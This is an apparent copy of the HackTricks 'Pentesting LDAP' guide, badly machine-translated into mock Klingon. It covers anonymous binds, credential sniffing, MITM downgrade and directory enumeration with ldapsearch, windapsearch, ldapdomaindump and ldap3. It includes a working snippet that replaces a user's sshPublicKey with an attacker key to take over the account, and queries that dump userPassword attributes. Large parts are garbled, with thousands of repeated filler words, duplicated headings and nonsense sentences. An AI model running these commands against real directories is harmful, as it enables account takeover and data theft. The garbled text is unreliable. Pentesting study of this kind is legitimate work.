50 KiB
389, 636, 3268, 3269 - Pentesting LDAP
htARTE (HackTricks AWS Red Team Expert) !HackTricks AWS Red Team Expert!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
LDAP (Lightweight Directory Access Protocol) vItlhutlh (vItlhutlh Directory Access Protocol) ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
LDAP Data Interchange Format
LDIF (LDAP Data Interchange Format) jatlhbe'chugh directory content vItlhutlh. 'ej 'oH 'ej 'oH (Add, Modify, Delete, Rename) update requests jatlhbe'.
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
- 1-3: local top level domain is defined
- 5-8: moneycorp first level domain is defined (moneycorp.local)
- 10-16: 2 organizational units are defined: dev and sales
- 18-26: an object of the domain is created and attributes with values are assigned
Write data
Note that if you can modify values you could be able to perform really interesting actions. For example, imagine that you can change the "sshPublicKey" information of your user or any user. It's highly probable that if this attribute exist, then ssh is reading the public keys from LDAP. If you can modify the public key of a user you will be able to login as that user even if password authentication is not enabled in ssh.
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
Sniff clear text credentials
If LDAP is used without SSL you can sniff credentials in plain text in the network.
Also, you can perform a MITM attack in the network between the LDAP server and the client. Here you can make a Downgrade Attack so the client with use the credentials in clear text to login.
If SSL is used you can try to make MITM like the mentioned above but offering a false certificate, if the user accepts it, you are able to Downgrade the authentication method and see the credentials again.
Anonymous Access
Bypass TLS SNI check
According to this writeup just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user:
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
LDAP anonymous binds
LDAP anonymous binds allow unauthenticated attackers to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. This is a legacy configuration, and as of Windows Server 2003, only authenticated users are permitted to initiate LDAP requests.
However, admins may have needed to set up a particular application to allow anonymous binds and given out more than the intended amount of access, thereby giving unauthenticated users access to all objects in AD.
Valid Credentials
If you have valid credentials to login into the LDAP server, you can dump all the information about the Domain Admin using:
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
Brute Force
Enumeration
Automated
Using this you will be able to see the public information (like the domain name):
Brute Force
Enumeration
Automated
Using this you will be able to see the public information (like the domain name):
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
Python
See LDAP enumeration with python
You can try to enumerate a LDAP with or without credentials using python: pip3 install ldap3
First try to connect without credentials:
Klingon
Qap python vItlhutlh LDAP enumeration
python vItlhutlh LDAP enumeration ghaH ghaH credentials lo'laH ghaH: pip3 install ldap3
credentials lo'laH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH ghaH **ghaH
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info
ghItlh True
vItlhutlh example vaj, LDAP (naming context be domain name) server data 'e' obtain jImej:
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
tlhIngan Hol Translation:
DaH jImej qo'lu'chugh, vaj naming context vItlhutlh. vaj qarDaq 'oH vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vItlhutlhDI' vIt
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
ghItlh ldap bIr yItlh.
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
windapsearch
Windapsearch jatlh Python script vItlhutlh enumerate users, groups, and computers from a Windows domain by utilizing LDAP queries.
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
ldapsearch
Qa'vam vItlhutlh 'ej qa'vam vItlhutlh 'e' vItlhutlh:
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
ghItlh "bind qay completed" ghaH _"credentials pagh incorrect.
Domain ghaH _"everything ghItlh extract jatlh can".
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
Extract users:
Klingon Translation: Qap users:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
computers'u qarDaq yuQjIjDI'pu'.
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
my info ni'wI' jatlhlaHbe'chugh, 'ej my info ni'wI' jatlhlaHbe'chugh.
